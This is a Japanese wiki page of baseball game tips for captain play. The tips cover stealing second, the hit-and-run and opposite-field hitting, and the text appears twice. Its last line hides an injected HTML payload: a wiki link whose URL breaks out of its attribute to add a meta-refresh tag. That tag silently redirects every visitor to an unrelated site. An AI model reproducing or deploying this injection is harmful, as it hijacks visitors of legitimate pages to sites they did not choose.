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**キャプテンのときの試合の上手な進め方 (日本代表以外) まずは塁に出る。 8回にもなるとエースは引っ込んでることが多いので直球一本勝負。 際どい球は全部見逃した方がいい。 基本は打ちやすい球を打つこと。 塁に出たら即座に盗塁する。 牽制は稀にしか来ないのでタイミングを見て強気で。 (ランナー2塁の状態を作るためなので2塁打で出塁した場合は上の手順を飛ばす。) ランナー2塁の状態になったらヒットエンドランを狙う。スタートは自信を持って。 バットが当たらないようなボール球なら見逃してもいい。 ストライクゾーンにボールがきたら迷わず打つ。 ここでポイントとなるのが流し打ちを狙うこと。右バッターなら一二間。 何故かというとセカンドは二塁ランナーが走ったことでセカンドベースについているからである。 この現象によって、普通ならセカンドゴロの打球ですらヒットになるのだ。 凡打の場合は一気にホームまで返ってくることが出来る。 あとはこれを上手く繰り返せばどんどんと点を取ることが出来る。
**キャプテンのときの試合の上手な進め方 (日本代表以外) まずは塁に出る。 8回にもなるとエースは引っ込んでることが多いので直球一本勝負。 際どい球は全部見逃した方がいい。 基本は打ちやすい球を打つこと。 塁に出たら即座に盗塁する。 牽制は稀にしか来ないのでタイミングを見て強気で。 (ランナー2塁の状態を作るためなので2塁打で出塁した場合は上の手順を飛ばす。) ランナー2塁の状態になったらヒットエンドランを狙う。スタートは自信を持って。 バットが当たらないようなボール球なら見逃してもいい。 ストライクゾーンにボールがきたら迷わず打つ。 ここでポイントとなるのが流し打ちを狙うこと。右バッターなら一二間。 何故かというとセカンドは二塁ランナーが走ったことでセカンドベースについているからである。 この現象によって、普通ならセカンドゴロの打球ですらヒットになるのだ。 凡打の場合は一気にホームまで返ってくることが出来る。 あとはこれを上手く繰り返せばどんどんと点を取ることが出来る。[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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